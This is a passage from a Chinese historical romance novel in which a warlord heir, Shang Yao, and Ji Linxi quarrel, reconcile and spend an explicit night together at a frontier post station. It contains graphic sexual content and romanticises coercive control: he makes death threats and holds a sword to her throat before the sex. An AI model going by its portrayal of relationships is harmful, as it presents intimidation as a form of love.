去就去了,偏偏还要作伪瞪他:“你叫我做什么?不是不想理我?”
“我何时不想理你。”商曜望着她眉眼,抬手拿方巾去细细擦拭干净嘴角,低低一笑,“油。”
临溪一愣,猛地起身跳开:“你——”
瞬间红到脖颈:“你!”她再怎么说,也是个漂亮小娘子啊。
他将她抱回腿上:“我怎么?”
“你一点情面不留。”临溪气鼓鼓,“不可以当面说我脸上有东西!没有一点礼貌。”和小娘子卿卿我我的礼貌。
“这也要生气。”商曜垂眸,“你从前待荀竞初也如此?”
她心头怔了一怔。什么意思?
“那当然不是。”临溪梗着颈项,“他那么好的人,我不舍得这样。”
他点点头,漫不经心口吻:“那很好啊。”
两个人都不说话了。
他的表情淡漠极了,明明正在介怀着什么,却不肯再说。他们之间似乎总是缺少某些原本重要的只言片语,是只,是片,粗略回想时,就无伤大雅。
临溪心里莫名有些空落,吸了下鼻子道:“你叫我过来,到底什么事?”
他这才抬眼看她,将一个小木盒递过来:“楼兰骨簪。”
临溪低头打开,捏在掌心里:“送我吗?”
他嗯一声,接过去,抬手替她簪住:“很漂亮。”
算了,算了。
他又不是第一日知道这女子的脾气,被父母惯坏了,那是纯粹一惊一乍、石破天惊、地动山摇的胡作非为。他既然喜欢,又非要她改变,是图什么呢?
算了。他略过心底那种微微起伏的烦躁情绪,再三警告自己,算了。
无非以前全然不在乎。这女子亲口说过爱慕荀将军,只想要嫁给荀将军,从来不曾欺瞒。他听了只觉得更有意思。她不情不愿,他再到手,不知有多快意。越不愿意,他越快活。
但如今不一样了。他需要庆幸荀竞初是元和二年生人而非十二年生,否则他和姬临溪之间,永远不会有故事。
商曜不喜欢这一点,但她一次次地力证。最离奇的是,他竟然有一瞬间,真的这么想。
不,他没有什么好说。他管不住另一个人的心,也不屑管。
“多谢。”临溪垂下眼睛,仔细收进袖衽,“那我先走了。”
转身去推门页,听他忽然道:“晚上过来。”
临溪脚步一慢,脱口问出:“你送东西,是想要这个吗?”
她自觉失态,心头一慌,不想话音落下,得到丝毫不曾停顿的反问。语调轻轻巧巧,情绪平平淡淡:“难道我还能肖想其他?”
她睁大眼睛。什么呀?
他却突然像是再也无法忍受她,闭了闭眼睛,冷淡道:“出去。”
她顿了一下。他已经转身进去内间,再不管她。
临溪有些茫然。
犹豫片刻,鼓起勇气开口:“我知道了,对不住啊。我昨夜真的喝多了,说话是浑说的……”喝多还是因为,你不理会我,不回应我,也不哄我。
谁料这句话才是真坏了事。
商曜蓦地生出怒意,忽而就感到,忍她真的已经忍到极点。猛地起身,大步过来,单手将她夹起。
任她叫骂打闹,面无表情直往里扛,重重扔在榻上,俯下身来,垂眸盯着:“难怪。酒后真言,感天动地。”
“啊?”临溪一愣一愣,“啊,不是不是!你误会了!我不是这个意思!是因为你不理——”
“我警告你。”他盯着她,“死了这条心,别再挑衅我。”
她呆呆回望,瞬间闭住了嘴,有一瞬间,汹涌的伤心。
“我既要娶你,就最后同你说一次我的性情。你既然提及晋阳城,不妨告诉你,我诸位父兄叔伯,任凭七老八十,在我面前也只配低头听命,谁废话谁就会被拖出去。你担心的洛阳皇帝赐婚,实则我那时回信他,他的女儿只要敢来,我想杀就杀,尸骨送回洛阳给他贺寿。这就是我,你明白吗?我一直就是这样的。这世上没人能忤逆我,也包括你。”他抬起她的下颌,胸膛起伏,一字一句,“不要以为我喜欢你,就允许你为所欲为。天地之大,没有任何人,有资格在我面前放肆哪怕一个字,想张嘴就提前想好死期。从前没有,今后也没有,是永远没有——”
响亮耳光一声,毫无预兆落下。
连回响都过分短促,只带来屋内前所未有的寂静可闻。
她冷冷看着他,她第一次成功打到他脸上。他被生生打偏过去,英挺脸庞一动不动。
“不装了是吧?”临溪声音微微发抖,“你就是这样的人,你骨子里就是这样的人。现下不肯再装了,是吗?”
“你根本就不是真正地喜欢我。”她望着他,一个字比一个字重,“是欲念,是兴致,是不服气,唯独不是喜欢。”
他终于转回来。
“你就是了吗。”商曜盯着她双眼,“除了不得不,除了顺势而为。还剩什么?”
“你扪心自问,能答应你的,我还有哪一条没答应?”他攥住她的手臂,打在自己胸前,“你去问问,天底下还有哪个男子,能像我纵容你一样对待你——我就想要一个顺从我陪伴我的妻子,其余都可以不管你,由你闹腾。你这样的脾气,必然跟我家中亲眷处不好,我也可以随你。为何在你这里就这么难!推三阻四,一天一个新的理由,是非要我把你父母绑走,才能乖乖听话?”
临溪心里隐隐又是一难过。不肯叫他看出来,倔强抬起脸:“可是,你是第一天知道我这样吗?你喜欢一簇梅花凌霜傲雪,你又非要折她回家。你想要顺从温婉的女子,天底下多了去了,为什么非要找我?你非要我,又不许我做我自己本来的样子——什么好事,都让你占全吗?”
“你以为你想要我,就是恩赐于我?”她毫不发怵,一句一句问,“你以为我稀罕?你信不信,只要我想,我明日去洛阳,后天就会是新的皇后!只要我想,无论最后是谁得到江山,我想做皇后,就去做皇后!天下男子莫不如是。从来都是我不稀罕!”
他讥讽扯唇,她狠狠一指外间:“你觉得我很自大是吗?好,那无论旁人如何,你的佩剑眼下就在案上。你去拿,你亲自杀了我,就不用再被我影响。我那个父亲连痛告书都不敢写,对凉州任何局面任何人员,都毫无影响——你去啊!”
他盯她一眼,竟真下了榻,大步过去抓起佩剑抽出,转瞬就又折返至前,膝骨跪抵于榻缘。
倾身,左手牢牢攥她右肩,右手毫不犹豫以长
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剑悬比她细腻颈项,仍旧死死盯着她。
临溪仰起下颌,抵近一寸,那剑锋凉意就在颈下,更加字字清晰:“动手啊——你若舍不得,我还看不起你呢。”
商曜垂首静望着她,胸膛依旧剧烈起伏。
为了你,他可谓殚精竭虑。
先再三解释,你二人不过兄妹,从无僭越,维护你的处境。
说着说着,最本源的心情偷偷溜出来。长篇大论,说着至亲至疏夫妻,希望换到一线留住你在凉州的生机。
自觉失态,又不动声色圆回来。毒酒当前,你先打翻——这是你为他做过的事,从不曾发生在我们之间。
为了你,那么一个人——一个十五岁就能够一箭射伤我父亲的人,理性感性悉数奉出,错乱交织。
临溪一点也不怕,一点也不。目光甚至称得上是平静,亦不欲流泪。她越不怕,他越意识到某种情感永恒的不公,心底越是灼烧不甘,以至于延长着低下颈项的时间。
时间一分一秒过去。
长剑忽而抛掷于地。
男子声线清清冷冷。
“今日是我不好。”
商曜收回膝骨,别开视线,只停了一停,淡声说完:“罢了,婚后不准再同张掖联系。其余,随你。”
退后一步,抬手整理衣襟,神情恢复寡淡。
她发誓绝不露怯,却依旧猛地微微松了口气,身体后仰一厘。
怔忡片刻,忽然启唇:“我每次很认真地同你说话,说我害怕晋阳山高水远,害怕自己形单影只,我告诉你我想要的,你知道无法解决,就索性不回应,连安慰也不屑。来的路上待我冷淡,和旁人无异,像是我们并无特殊联结。我不开心,才负气说了那句话,其实同他根本没有干系,更不是到了张掖触景生情。我去见他和霖儿,没有一丁点逾矩,也都和轻鸿一道,全程她都在场,不信你就去问。与你这样那样,又和旁人藕断丝连,是我的错;但连我见我喜欢过情谊又如同长辈的人,你对我发这么大一通脾气,你是傻子。我方才是想好好解释的,我张了嘴,特别聪明的一张嘴。何况,我也有些喜欢你,我本来就不会伤害你的——我根本不是那样算不清亲疏是非的人!”
他神色微微一僵。
“但现在,”临溪语调转为冷漠,“我一点也不喜欢你了。你要听话的,世间到处都是,勿再为难我。你我这种都不喜欢低头的脾性,也许根本就不合适。”
随即转身下了榻,毫不犹豫要往外。
被人从身后拦腰抱住,下颌抵在她颈间,声音低低:“翩翩。”
他许久没有动,她眨一眨眼睛。
“让我得到。”他似乎还是冷静的,“我就放心。”
临溪几乎要讽刺地笑出来。
他真拿她当傻子耍。
“好啊。”临溪目视前方,“我去沐浴。”
他松开手。
她往前一步,倏地抓起被他丢在地上的长剑,紧紧攥在腕间。转身就将剑锋直直指向他颌面,手臂延展,骨骼笔直,剑光寒凉。
“你。”
她将剑向上抬一寸,抬向他的下颚,面无表情:“我不管多少人对你卑躬屈膝——听好了,天下之大,任何一种至高无上的权势、任何一支无往不胜的部曲,能叫我死,我就一文不值地去死,但就是不能叫我服从!从前不能,今后也不能,永远都不能。少拿那一套欺压于我,我答应你,是因为我也好奇你——把你自己洗干净!”
随手丢了剑,轻蔑回过身,头也不回离去。
窗外风声依旧凛冽。屋内却越发地静了。
商曜低下头,攥起双手。
他从指节轻微作响里,听见迷恋强行钻进骨骼的声音,几乎就要变成带着疼痛的爱意。
他就是这样的,他就是这样高高在上活着的,活了十九年,没有出一点差错——但她强行钻进来,她非要钻进来。她非要从低处,狠狠揽下他的脖颈、他的头颅、他的心脏。
除了得到她的下一刻,他简直无法再容忍任何形态的下一刻。
42. 揉皱
临溪垂首,怔怔盯着水面。
轻鸿在外间担忧:“翩翩?”
“你们吵架了吗?”她有些不安,“你在里面好久了,还没洗完呀。”
临溪回过神,伸手抽过长帨擦拭完毕,扯下中袍穿好,又拿大氅外披,打开门,耷拉双眉,闷闷不乐。
轻鸿疑惑。
“你说,那个事情——”她小声问,“男男女女之间的那个事情——真的很有意思吗?”
轻鸿睁大眼睛:“啊?那应当是很有趣味的吧,那么多人都爱做,做个没完呢——你是说他想——”
更瞪大了眼:“在这里?”驿舍?这也太潦草、太不爱护了。真心待一个女子,好歹要在漂亮舒适的上房呀,最好是皇宫那样的房子呢。
思及脚下是觻得,又觉了然:“那那那……那你想怎么办?”
“我了解自己的心情。很不争气,已经偷偷想过去晋阳。”她垂下脑袋,“他不信,我自己知道就好。可是我又觉得,若他今日真如他所说的那样待我,我就再也不动摇。无论如何,哪怕以死明志,也不去了——去个狗屁!”
“可是——”轻鸿迟疑,“一旦做了,还能不去吗?”
临溪道:“我不去,我怎么知道他最终会不会舍得?”
“是哦。”轻鸿挠头,“那——”
“我有分寸。”临溪拍拍胸脯,“你放心。”
轻鸿点点头,不多话了。转身打开随身的软绸包袱,取出一枚指环状的物件,软乎乎叮嘱:“戴着。拧一下,有一小片刀刃。”
临溪接过,收入掌心。
时下人入睡都极早,走廊早没有一点声息。她推门入内,外间灯早被他灭了,只内室卧榻之侧,另有一盏青铜角灯,灯光幽幽。
临溪深呼吸,关紧门页,垂首站在入口处,声线清清泠泠:“我好了。”
身体骤然一空。
她都不知他是从哪窜出来的,就被人打横抱起,一步一步向里去。
被他抱在臂弯时,实在过高了。她不低头看,只盯着眼前夜色:“你想清楚。”
他不过嗯一声。
“是因为在觻得吗。”她平静问,“在这里得到我,会让你更像胜利者?”
没有答复。
脊背陷入被衾之间。
她仰头看他。冬夜没有一丝月光,此时此刻捉不到眉目,只有指骨解除衿勾的隐约起伏。
身体一沉。临溪有些难受,推了推他:“别这样压着我。”
他伏在她耳畔,低声开口:“我想好了。”
她闭一闭眼睛。
亲吻从颈侧开始,起初还算温柔,不知到哪一节点,忽然就变得急躁。将她颈间肌肤又咬又吞,只觉得所有的香气都归属于他,也依旧不够解渴。亲到托起她的脑袋,重重咬痛她,将锁骨咬到红肿。
临溪一声不吭。
两人都只一身中衣,互相就能完整感知身体的热意和轮廓。他改为抵着她的腰,低声命令:“睁眼。”
“方才轻鸿给了我指刃。”
两人一静。
“我没有戴。”临溪抬起脸,“我们认识四个月了。从见我的第一眼起,你就一直在等这个夜晚。是吗?”
商曜一动不动。
“纵容你的话,能否两清?”
她抬起手,解开他最后一枚襟带,喉间微微一涩:“我知道我是你在凉州的战利品。”
他倏地抬手,并住她指背。
他道:“你不信我。我是真的喜欢你。”
临溪静静看着他,看不见也看。
她闷声道:“那你得找个好先生,从什么是喜欢开始学——天底下没听过喜欢一个女子,再三警告她不许忤逆的先例。”
他停一停:“我自己知道。”
她又闭上眼睛。
他改为亲她的唇角,诡异而不合时宜的温柔。反反复复啄着那一小点,唇瓣和脸颊交界的那一点,偏偏并不闯开。双手找到她的手,及时地轻轻穿入。
临溪心里一颤。
他太高太高了,以至于覆盖她时,身体是如此沉重。但这吻又这样轻柔,像落下的羽毛,像即将融化的雪。
中断也不过是为说出——
“我想要你。”他的声音越发低,“姬临溪,我想要。”
“你愿意吗?”
临溪别过脸,一滴泪缓缓落下去。
“我愿或不愿意,有意义吗?”
“你不高兴,对我大发脾气时,想过我会不开心吗?”
“换我对你屠刀悬颈,也是可以的吗?”临溪哽咽,“我为你杀那真的时候,你想过自己又会这么对我吗?”
“对我也这么冷漠、这么心狠,是应该的吗?”
他终于低下头。
“抱歉。”
轻轻拉开她的手臂,盘去自己颈后,低头同她亲吻。温柔地吻,温温柔柔地吻,像水滴游弋蔓延,逐渐有着小小的、温热的涟漪。
“对不起。”他在她唇齿间哑声说,“对不起,翩翩。”
她还在掉眼泪。
有那么一瞬间甚至埋怨,她运气好像总是不大好。很会哄人的,年岁太过头了,有经验,所以会;而这一位,自己也只有十九岁。
他只认真亲她。亲到她慢慢停了哭泣,退开一寸,以指腹擦了擦她的脸:“我讨厌自己不受控制。”
她睁开眼睛。
“对不起。”他重复了一次,抬手摸她的耳垂,“不会了。”
语毕,再度吻下来。
颈后一热。
是她的手心缠上来。
唇间一软。
是她的舌尖卷进去。
临溪手腕在他发间交握,微微抬起脸颊,和他接吻。是“接”,而非“受”。
她对不起轻鸿。她撒谎了。
两个人认识十年,她第一次对轻鸿撒谎。
她不是真的有分寸。她倒是真的有些愿意,以及一种微妙、古怪、令人心虚的,恐怕连轻鸿也不能理解的,对某种快乐的探索和好奇。
她曾经得到过。
她很为难。她不曾读过很多书,连董仲舒和班昭也不懂,不知道如何对他阐明自己的为人,和对夫君的期许。
她只知道这样是不对的。他曾经拿剑要求她挨亲,如今却不可以再拿剑恐吓。
她知道很多事是不对的。姑臧和晋阳之间的遥远是不对的;有人适宜被豢养而她偏爱主动放牧,这也是不对的;并州月明星稀之时,凉州尚且落日之圆,更是不对的。
她什么都知道,她还生他气,却无法更改愿意的心情——和信任他的潜意识,他不会真的轻慢薄待她。
她只抱紧他,回应他。
她喜欢他亲她,无论那吻仁慈或暴戾。
她就是喜欢,她没有办法。双手紧紧锁在他颈后,连喘息也嫌分开过久:“商长叙——你猜我是何时知道你的字?”
商曜伏在她颈间,同样喘息不止。
“是两年前。”临溪以指腹摩挲他颈后,声音悄悄,“你袭了爵,直接拒掉皇帝结亲旨意,骑马叫使臣滚回洛阳。后有官员路过姑臧,对你家事评头论足。在酒肆骂,‘商长叙那张狂小儿’——我都不知为何,微
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不足道一件事,却记到如今。更没想过……”
她仰起眼睛,低低道:“会是我在榻上叫出口。”
他整个人由身到心都迎来一瞬间的颤栗。无处发泄,猛地俯下身,重重咬在她肩上。
她还是抚摸他颈后,喃喃道:“你真是个坏人。讨厌的人。无药可救的,冷硬的人。”
他抬起头看她,额际汗水滴落于她胸脯,嗓音低哑:“还未到最硬地步。”
她难过极了——非伤心那种难过,是双腿不自觉并拢,明知所求为何却不肯直面那种难过,难过到不得不抱紧他,将脸颊深深埋进他的肩颈。如此,也算靠近他的骨骼。
她宁愿疼痛早点降临。
他得到她痛苦的表征,和分明已经处于欢愉之中、却一味渴望更多的内里。
“难受——难受——”
临溪是毫无预兆妥协的,她双手攥他肩骨——至这一息,她有两只手心,他有两片肩头,她都觉得般配。她抓住它们,她用力抓住,听见自己泣声道:“我愿意!我愿意。”
他异常快意地笑了。倏然直起身,托起她脑袋——动作无意义,无非缩短相吻距离,提前拥抱,感受她双臂骤然而拼命的收紧。亲吻用尽力道,双方都灼热到无以复加。
男女之间另有天然榫卯,心脏却不能剖出交换,是相切时唯一憾事。
“姬临溪。”
他抬手拨开她额前汗湿的长发,慢慢、慢慢拨开,拨到耳后去。
“我不止以晋阳为聘。”他慢慢道,“你会是洛阳的女主人,长安的女主人——你会是天下的女主人。唯一的女主人。”
临溪心脏剧烈跳动。
他抬起眼睛,凝着她:“莫说凉州空有狭长,我来时如无人之境。北起上谷,至日南,东发会稽,到敦煌,以这版图之浩荡,亦不配要你贡献。”
他望着她,一字一句。
“你记着,这世间所有我想要的——是所有,都必须属于我。包括你,和你这颗心。”
他的手指在这时向下滑落,点在心口。
“听我的话,做我的妻子,和我生儿育女。”他胸口所起伏的弧度,恰与她一进一退,“除此之外,我会让世间人事皆低于你,服从你,听命于你。”
他同她对视,两人两道,眸光熠熠。
姬临溪猛地坐起来,坐在他腰上。
换她深凝他双眸,她搂住他脖颈,低声开口,一字一句:“世间人事,原本就低于我一人之心。”
她吻下去。
他亦抬手,宽大掌心牢牢接她脊背。
他反反复复造访,却不肯亲进问候。她分不清是引诱,折磨,或挑衅——也分不清,是需要流泻,抑或被填满。四肢百骸全数漫无目的奔涌,却又只想去往一处空灵。
她尚未知悉与捕获的空灵,将允许她漂浮、遨游,以至羽化。
是他不肯馈赠。
“翩翩。”他的指骨故技重施,为他本人辅佐进犯,他的声音极低,却也清晰,“翩翩,除了天地山海,除了风沙雨雪,仅方寸之间,仅你我二人,亦有极乐广旷。你承不承认?”
她哭泣,她摇头,她以眼神哀求。
他只厉声:“承不承认?”
那花瓣在这时被撞开,宛如溪流水波拨皱夏日之涟漪。水迹却又忽然游回;它折返,它复行,它蜿蜒。
未触及根茎,未伤筋动骨,却叫小荷急欲疯狂生长,叫这罅隙之间,如同海浪席卷。
她哭了。她的眼泪是今夜第二道海。
“承认……”少女手腕脱力倒下,恍惚轻喃,“承认。”
43. 窗棂
凛冬夜色之中,官驿静默矗立。二楼,一扇直棂窗外,隐隐有一道纤细指骨,露出极小一截。
另一只大手伸出,这小手可怜兮兮,就被无情捉回去。
他附在她耳后:“不冷?”
临溪背朝着他,双手死死抓住棂条,闭咬嘴唇。
只咬长在脸上的唇是没有用的。另有冬日葳蕤,早被碾至汁液碎流,这一刻依旧。前前后后,上上下下,左左右右,分明是最狭小天地,技法却也无穷无尽。可谓旁门左道,离经叛道,道貌凛然——世间奇道,皆不可道。
他持住他的剑,咬她耳朵,轻轻往前戳打,轻轻说话:“怎么还有眼泪。”
“流不尽吗。”
她猛地抬手捂住嘴。
他的手绕过荡漾池塘,拧住荷枝最尖那一角,眉宇间有一种用尽蛮力却不出声的隐忍。她在自己的掌心里尖叫,又被他另一只手加盖。
荷瓣早为他碾作泥了。
临溪身体倒下去,被拦腰抱起来,转身丢在案上,双膝分向各自点位。他低下头,静静看着,向前一抵。
她倏地伏在他肩上。
“我真是恨死你了。”声音筋疲力尽,却终于有疏解后的平稳,“你要么给我个痛快,要么就滚。我恨你。”
他的掌心轻轻摁住小腹。
“平坦之地,”语调不紧不慢,“若贸然起崎岖,于归家路途不妙。”
她听懂了。恨恨咬他一口。
果然。
她真恨他,却又抱紧他,抚摸他过分坚硬的肌理骨骼,无声恳求:再用力些。
他笑起来,将人横抱在怀里,回到榻上。帐帷甫一落下,两双手两双腿,即刻彼此缠住,急切长到一处。
至天边薄亮时分,亲吻渐渐疲软,有舌尖开始偷懒。他低头去看,怀里人忽然就手一松,闭目昏睡过去。
商曜不免又失笑。只俯下身,在她额心落下一吻,将人紧紧揽在怀里。
临溪这一觉睡得极安稳。
虽是边关风声呼啸,更兼凛冬霜雪千重,醒来时却觉周身温暖而放松。如同倚靠着最稳妥柔软的炉火,整个人四肢肺腑舒展,懒洋洋不愿动弹分毫。
难得她先醒。
更难得,身边男子犹在沉睡,未被惊动。临溪从肩下钻出,轻手轻脚趴上去,眼眸一眨不眨,瞧他下颌长出的浅浅胡茬。
其实,抛开别的不谈,此男长得的确相当不错。
少女食指纤细,从他高耸鼻梁,一路慢慢滑到向内收去的下颌。临溪托着脸,小腿勾起晃动,莫名笑出一道气音。
她并不知道自己在笑什么。
微微直起身,拿唇下在他胡茬上,碰了一碰。睁开眼时,对上一双清明眼睛。
连忙退后一大步:“你——”
腰上一痛,被揽回去。
他没有取笑,也不再逼问。只是冷静看着她,语气也静:“你想每天这样醒来吗?”
临溪心头慌急,骤然一起一落。
她不答,拿手指他,威胁道:“你敢提昨晚一个字,牙给你打下来!”
他不过淡淡笑着:“色厉内荏。虚张声势。外强中干。”
她脸红得厉害,被单手向上提了一提,双眼平视:“姬临溪,我问你。”
“既然互相喜欢,为何不在一起?”
她立刻躲起来。
她就最怕他点破。他偏偏直接点破。
她使劲往被褥里躲,被连人带衾托坐在手臂上,毫不费力举高,命令压迫:“回答我。”
“你少来!”她气鼓鼓看他,“我问你更多问题,你理过我吗?凭什么……”
商曜道:“我都答了。”
临溪皱一皱眉头。
“我答应扶持你父亲,你说行不通。”他望着她,“我要你承认同我的情意实则并不阻碍你个人心志,你承认了。”
她茫茫然看他。怎么有点跟不上呢?
他就知道会是这样,这可爱小娘子。笑了一下,抬手摸她耳垂:“我说了,我会让你做天下的女主人,南海郡也随时去得——你告诉我,同我在一起,和你看海看雪,冲突何处?”
她小小声嘟囔:“你就哄吧。我不是甜言蜜语就能骗走的哦……”
他忽然坐直了。那肌理分明的坚实胸膛在她眼前倏然靠近,声音则低低贴到耳畔。
临溪头脑“嗡”的一声。
她一句话也说不出来了。
他似笑非笑看她,低头唇瓣摩挲相接,却不亲,哑声问:“我说的不对吗?”
她整个人像忽然被丢去盛夏,丢进戈壁最灼烤的那一洼地。
他回的是:但有甜溪蜜河,令你溯游从之。
她为他流淌一整夜,无力反驳哪怕一字。
但姬临溪哪里受过这种奇耻大辱,忍了一忍还是忍不住,双手抓过去就要掐。他这回不许,反攥住她手腕就覆身压下,眸光熠然:“你必须跟我回家。这是我最后一次说。”
话音落下,外头乍然传来卫棋声音:“少主公!起了吗?”
商曜松开她手,利落起身,去拿袍服。
临溪错愕。
他穿好衣裳,抬手束了发,梳洗完毕,将她抱回怀里,垂眸道:“你好好睡。”
又亲昵贴一贴额头:“昨日是我不好,不该对你发脾气,别往心里去。今夜等我回来,我陪你一道用饭。”
语毕,将她放回被衾之间,亲了一下眉心,转身大步往外去:“来了。”
临溪还在发愣。
一颗心又忽然有些酸胀,却不饱满,不安定。
怔怔盯着悬山顶片刻,一跃而起。草草洗漱,披着衣裳回去自己的客房,在轻鸿身侧躺下,推了一推:“喂。”
轻鸿睡得正香,脸颊又圆又红。
临溪捏住她鼻头。
“哎……”轻鸿难受睁开眼睛,惊讶起身,“翩翩。”
“我问你一件事……”
“你这次会有孕吗?”
两人同时开口,同时话音落下。
临溪闭眼:“不会。”他犹豫到极点了,甚至已开拓一寸了,恰恰就是怕她有孕,才咬着牙关不再进。
“不会?”轻鸿靠过来,“那你们一晚上在做什么?”
“还能好好说话吗。”临溪脸色红透,“你还小。你别学坏。”
“我四月生辰,都快十七了。”轻鸿不满,“就许你做,不许我问。”
临溪捂住她眼睛:“就不许!我有要紧事问你。”
轻鸿哼一声。
“你家商队做过马的生意吗?”临溪放下手,“大宛乌孙这些国家的高头大马……”
“不能的!”轻鸿连连摆手,“不能不能!民间商行去抢西域马,要杀头的。我家可不敢。”
“我猜也是。”临溪思索,“但是,如果要那些马,必须从凉州走。对吧?”
“这倒是。”轻鸿跟着起身,认真想一想方道,“匈奴也有,但他们可不愿意给中原汉人那么多好马。大宛离我们远,供给马匹数量最多,那就只能从凉州走了。”
“这就对了。”临溪拿出那枚楼兰骨簪,神色微凝,“昨日他送我这个,我原本没多想。但近几日暴雪,他们却总是行色匆匆,想来是很重要的事——我方才就忽然想,会不会是马。不然他一个晋阳人,哪里来的楼兰物件?一定是去见边市的人了。张掖边市,最出名的是西域骏马。”
“他要马不奇怪吧。”轻鸿打了个哈欠,“没有高马,怎么养骑兵?中原马不行的,个矮,且经不起长途奔袭。”
她再一想:“我阿母从前是提过。张掖一带水草丰美,适宜繁育战马和骑兵训练,所以马政规章齐全,牧苑里有好多训马官员,大宛人都有——你见过吗?他们的眼睛是绿色蓝色的,可好看了,眼睛怎么会是蓝色啊……我也想要。阿母说,半夜睁开吓死人了,可是我觉得好漂亮。”
临溪收回骨簪:“那就对了。”
“他突然急着要凉州,这大约才是最后一个原因。常年征战,太需要骏马了。”她低下头,“商路、通道、羌人、西域马,这就全都对上了。”
“是吧……不过我觉得不必担心啊,只要没有换掉姬使君,凉州就不会如何的。”轻鸿犹豫片刻,觉得无伤大雅,但还是道,“不过我昨天听说了一件事。”
临溪抬起脸。
“张掖郡守有个小儿子,是他和发妻最后一个孩儿——真是难为夫人!四十出头生下的,因此对这幺儿疼爱非常。”轻鸿感叹,“郡守夫妇二人就是晋阳人士啊。她和这孩子,两年前就都被太守送回晋阳了,早不在张掖。晋阳那边来人悄悄接过去,郡守却瞒下此事,使君至今都不知道。按理说,各郡郡守妻儿动向是要每年向刺史如实报备的。他留在张掖,盯着荀将军。只是不知为何,荀将军也没有干涉此事,他肯定知情。”
临溪怔忡。
“我是觉得,他虽然才十九岁,但是做事情很不好对付。”轻鸿挠挠头,“不过,说到底,这些都没什么,不算伤天害理。别人来打凉州,兴许事态会更棘手。他手下留情没有杀姬使君,已经很好了。”
“不对。一个中年男子,还是郡守,官不小了。”临溪蓦地开口,“怎么会突然要送妻儿回乡?张掖苦寒之地,他不需要天伦之乐吗?”
轻鸿不解。
“他是来凉州做官,”临溪微微凝神,“但父母应当都还在晋阳——郡守夫人的父母当然也是,总不至于四位老者都不在了。父母妻儿被要挟,荀竞初自然只能包庇——哪来的立场叫旁人不顾自家至亲,而坚持效忠凉州?”
轻
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鸿瞬间明白了,张一张嘴。
临溪望向窗外。
半晌,低声道:“人活一世,父母儿女,真是天大的软肋。遇上这种心狠的,他不管你难不难受。”
轻鸿摇一摇头:“不一样。你是嫁给他,做他的夫人,不是他的政敌——且我要说,夫人回去故乡,未必过得不好。”
“倘若有人与他为敌,想从我身上下手呢?届时我远在晋阳,阿父阿母只我一个孩儿,却无法倚靠。”临溪捉住自己双手,闷声道,“他能这样操纵别人,别人自然也能想到。何况成婚几年,如无意外,我会有跟他的孩儿。要是长子,那更是完了,一旦硝烟焦灼时,旁人必定视为筹码。给这么一个孩子做母亲,必定日夜担惊受怕。哎哟,我才十六岁呢……真是苦恼。早知找一个最英俊的农夫,每日打猎好了。”
轻鸿歪头:“你这么聪明,你怕什么?怕晋阳和河南那些人吗?”
临溪重新躺下,翘起腿,以手臂枕住脑袋。静默片刻,还是点头:“怕。”
“人生苦短。备受掣肘、谨小慎微地活,最后为旁人活,还不如不活。”她撇一撇嘴,“何况,我们在姑臧多潇洒。整个市集的人都认识你我,你赚大钱,我打小贼,里应外合。”
这句,轻鸿就深以为然了。
转念一想,凑近八卦:“但你今早居然一句也没有骂他哎——可见他忍住了,还是加分。”
“一时的珍视也是珍视。我能感觉到,就不会不认。他对我不好的话,我早就不理他啦。”临溪脸又微微一红,转而有些怅然,“但这一辈子,到底只是我自己的一辈子。一辈子真的很长很长的,轻鸿。我有点害怕呢。”
至于甜溪蜜河——
临溪拉起被衾,蒙住头。
其实他临到门口,又忽然折返。单膝屈身,弯腰对她耳语——
“小甜溪,你凶巴巴。好好睡。”
随即亲了下她的额头,起身大步走了。
她心里有些甜丝丝的——这还有谁能忍住,不去泛甜?她模糊地想,他倒是长进许多,不再干“我不喜欢你,但我现下要亲你”这一类的蠢事了,还会亲一亲额头再走;咬紧牙关克制时,那英俊极了的脸庞近乎有些扭曲而狰狞的痛苦,她怔怔看着,抬手去抚摸那道凸出的眉骨。
她开口,小声说,可以的。
她没有骗他,时下女子再嫁三次五次都不妨碍,嫁过匈奴人再嫁回中原也不少见。贞操只有未出阁女的父母还算看重,但真过去了,说到底不过那么回事。她父母起初误以为她出事,也不曾多么悲痛。
连活命都难的世道,没人有余力管这些。
再说,她也不会允许有人拿此事贬低打压自己,所以这一刻愿意,她就坦然地愿意。
他低声叫她闭嘴,她就不乐意了,抬手去戳他胸膛的肌理沟壑:“不是你自己放话?”
“我方才是连要你哭多久都想好了,非要你求饶不可。”他的的确确有些无奈而烦躁,“但有孕怎么办?”
临溪心口一跳,先倒打一耙:“你这竖子!你说明媒正娶的——你又怕——”
“闭嘴。你长点脑子。”他压着对她的欲求,强迫自己冷静,只面无表情道,“知道怀胎头三月多危险么?姑臧到晋阳,要过陇山黄河,过太行余脉,一路驰道颠簸凶险非你想象。一旦出事,流血是你,疼痛是你,不是我。明白吗?”
她怔了一怔,想起一位阿姑流产时淌了满地的血,三年不能吹一丁点风,心底也有些怕:“那……”
他握住她的手,微微闭目,低声同她调情:“翩翩,我最沉得住气,不会做错选择。”
“何况涉及你。”他带着她动,喃喃着,破天荒道了一句,“我珍视你,胜过疆域……你不能流血,不会叫你流血的。”
他还有些话,不好说出口。这小娘子家门庭太简单,她根本就不大懂这些人情世故。他家四个孩儿,堂亲更是无数,届时不知多少双眼睛紧紧看向她。
女人家谈婚论嫁,其实怎么都好说。家世不够能力补上,能力不足容貌帮忙,即便父兄都无钱财官职,女子本身性情温柔,一样会受人喜欢。
但有一条是不变的,只怕从长安到乡野都一样。未婚时从外面怀着孩儿进门,于舅姑面前,就会失去对坐相谈的筹码。
她毕竟在晋阳无依无靠,她只有他,他不能不替她考虑周全。她喜欢自由自在,但姻亲是去到一个男子家里、开始一份新的生活。
此事和自由自在不会有半点干系的,除非他替她安排好一切——他必须替她安排好一切,叫她依旧周全快乐地生活,这是他一个人的责任,他对他妻子的责任。
他沉沉想着,摁紧她的腕骨,低低喘息一声,热湿她的手心,听见她一声猫咛。他爱护她要紧,泥泞他乡之事,不急于一时。